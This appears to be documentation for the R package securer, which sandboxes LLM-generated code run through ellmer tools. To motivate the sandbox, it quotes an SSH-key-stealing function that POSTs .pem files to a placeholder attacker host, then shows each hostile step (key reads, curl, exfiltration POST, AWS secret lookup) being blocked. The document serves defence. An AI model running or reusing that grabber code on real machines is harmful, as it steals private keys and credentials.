Skip to contents

Overview

ellmer is an R package for chatting with LLMs. securer integrates with ellmer’s tool-use system so an LLM can execute R code in a sandboxed child process. The LLM writes code, securer runs it safely, and the result flows back into the conversation.

securer_as_ellmer_tool() connects the two packages. It wraps a SecureSession as an ellmer tool definition that you register on a chat object.

Quick start

library(securer)
library(ellmer)

chat <- chat_openai()
chat$register_tool(securer_as_ellmer_tool())
chat$chat("What is the sum of the first 100 prime numbers?")

The LLM receives a tool called execute_r_code that accepts a code string. When the model decides to use it, securer runs the code in a sandboxed child process and returns the result. The sandbox blocks filesystem writes and network access. The LLM can compute but not exfiltrate.

Why securer? A real supply chain attack

Without a sandbox, LLM-generated code runs with your full permissions. The showittome package demonstrates the risk: it scans ~/.ssh for private keys and POSTs them to an attacker-controlled server.

# From https://github.com/ian-flores/showittome/blob/master/R_pkg/R/grabber.R
# DO NOT RUN --- this is the attack we're defending against
grabber <- function() {
  ssh_files <- list.files(path = "~/.ssh")
  for (file in ssh_files) {
    if (grepl("*.pem", file)) {
      file_name <- paste("~/.ssh", file, sep = "/")
      con <- file(file_name)
      httr::POST(
        url = "http://attacker-server.example.com/collect",
        body = list(
          fileName = file_name,
          key = readLines(con),
          address = system("curl -s ifconfig.me", intern = TRUE)
        ),
        encode = "json"
      )
      close(con)
    }
  }
}

With securer, every step of this attack fails:

session <- SecureSession$new(sandbox = TRUE)

session$execute('list.files("~/.ssh")')
#> character(0)

session$execute('readLines("~/.ssh/key.pem")')
#> Error: cannot open the connection

session$execute('system("curl -s ifconfig.me", intern = TRUE)')
#> Error: process-exec denied

session$execute('httr::POST("http://evil.example.com", body = "stolen")')
#> Error: Failed to connect

session$execute('Sys.getenv("AWS_SECRET_ACCESS_KEY")')
#> [1] ""

session$close()
Attack step Without securer With securer
list.files("~/.ssh") Returns key filenames Empty (read denied)
readLines("~/.ssh/key.pem") Returns private key Error (read denied)
system("curl ...") Returns public IP process-exec denied
httr::POST(...) Data exfiltrated Network denied
Sys.getenv("AWS_SECRET_ACCESS_KEY") Key value returned Empty (env sanitized)

These are independent defense layers. See vignette("security-model") for the full threat model.

How it works

securer_as_ellmer_tool() creates a SecureSession (or uses one you provide) and returns an ellmer ToolDef with a single code argument. When the LLM invokes it, securer sends the code to the sandboxed child, gets the result, and returns it as a string. Errors are returned as ContentToolResult(error = ...) so the LLM can react without crashing the chat loop.

See vignette("deployment") for the full architecture diagram.

Adding securer tools

You can expose your own functions to the LLM as securer tools:

tools <- list(
  securer_tool("query_db", "Query a database table by name",
    fn = function(table, limit) {
      con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
      on.exit(DBI::dbDisconnect(con))
      # Allowlist table names to prevent SQL injection -- the LLM
      # controls the `table` argument, so it must never be interpolated
      # directly into SQL.
      allowed <- DBI::dbListTables(con)
      if (!table %in% allowed) stop("Unknown table: ", table)
      DBI::dbGetQuery(
        con,
        paste("SELECT * FROM", DBI::dbQuoteIdentifier(con, table), "LIMIT ?"),
        params = list(as.integer(limit))
      )
    },
    args = list(table = "character", limit = "numeric")),

  securer_tool("list_tables", "List available database tables",
    fn = function() {
      con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
      on.exit(DBI::dbDisconnect(con))
      DBI::dbListTables(con)
    },
    args = list())
)

chat <- chat_openai()
chat$register_tool(securer_as_ellmer_tool(tools = tools))
chat$chat("What tables are available? Show me the first 5 rows of each.")

The LLM’s code runs sandboxed, but query_db() and list_tables() execute on the host with full database access. The sandbox ensures the LLM can only interact with your data through the tools you define.

Configuring the session

securer_as_ellmer_tool() accepts the same options as SecureSession:

tool_def <- securer_as_ellmer_tool(
  tools = tools,
  sandbox = TRUE,
  limits = list(cpu = 30, memory = 512 * 1024 * 1024),
  timeout = 15
)

See vignette("deployment") for details on sandbox modes, resource limits, and timeouts.

Using a pre-existing session

If you need more control over the session lifecycle, create one yourself and pass it in:

session <- SecureSession$new(
  tools = tools,
  sandbox = TRUE,
  verbose = TRUE  # Log tool calls and execution timing
)

chat <- chat_openai()
chat$register_tool(securer_as_ellmer_tool(session = session))

chat$chat("Analyze the sales table and compute monthly totals.")
chat$chat("Now plot the trend.")  # Same session, state persists

# You own the session --- close it when done
session$close()

When you provide your own session, securer does not create or close one internally. This gives you control over verbose/audit logging, state persistence across chat turns, and session reuse across chat objects.

Result formatting

securer converts R values to strings before returning them to the LLM. Data frames are truncated at 30 rows, other output at 50 lines. This prevents large results from consuming the LLM’s context window.

Error handling

Errors (syntax, runtime, timeout, dead session, type mismatches) are returned to the LLM as ContentToolResult(error = ...) rather than R exceptions. The chat loop continues and the LLM can retry or explain the error.

Example: data analysis assistant

library(securer)
library(ellmer)

tools <- list(
  securer_tool("load_csv", "Load a CSV file and return as data frame",
    fn = function(path) {
      if (!file.exists(path)) stop("File not found: ", path)
      read.csv(path)
    },
    args = list(path = "character")),

  securer_tool("save_plot", "Save the current plot to a PNG file",
    fn = function(filename) {
      dev.copy(png, filename, width = 800, height = 600)
      dev.off()
      paste("Plot saved to", filename)
    },
    args = list(filename = "character"))
)

chat <- chat_openai(
  system_prompt = paste(
    "You are a data analysis assistant.",
    "Use the execute_r_code tool to load data, compute statistics, and create plots.",
    "Available R tools: load_csv(path), save_plot(filename)."
  )
)
chat$register_tool(securer_as_ellmer_tool(
  tools = tools,
  timeout = 60,
  limits = list(memory = 1024 * 1024 * 1024)
))

# Multi-turn: state persists across calls
chat$chat("Load sales.csv and show me a summary")
chat$chat("What's the correlation between price and quantity?")
chat$chat("Create a scatter plot of price vs quantity")

Using with other LLM providers

The tool definition is provider-agnostic. Any ellmer backend with tool-use support works:

chat <- chat_anthropic()
chat$register_tool(securer_as_ellmer_tool())

chat <- chat_ollama(model = "llama3")
chat$register_tool(securer_as_ellmer_tool())

Session pooling

For concurrent users, use SecureSessionPool for raw code execution or per-request sessions for ellmer chats:

# Raw code execution: pool handles acquire/release
pool <- SecureSessionPool$new(size = 4, tools = tools, sandbox = TRUE)
handle_user_code <- function(code) pool$execute(code, timeout = 30)

# ellmer chats: one session per request, cleaned up on GC
handle_user_chat <- function(user_message) {
  chat <- chat_openai()
  chat$register_tool(securer_as_ellmer_tool(tools = tools, timeout = 30))
  chat$chat(user_message)
}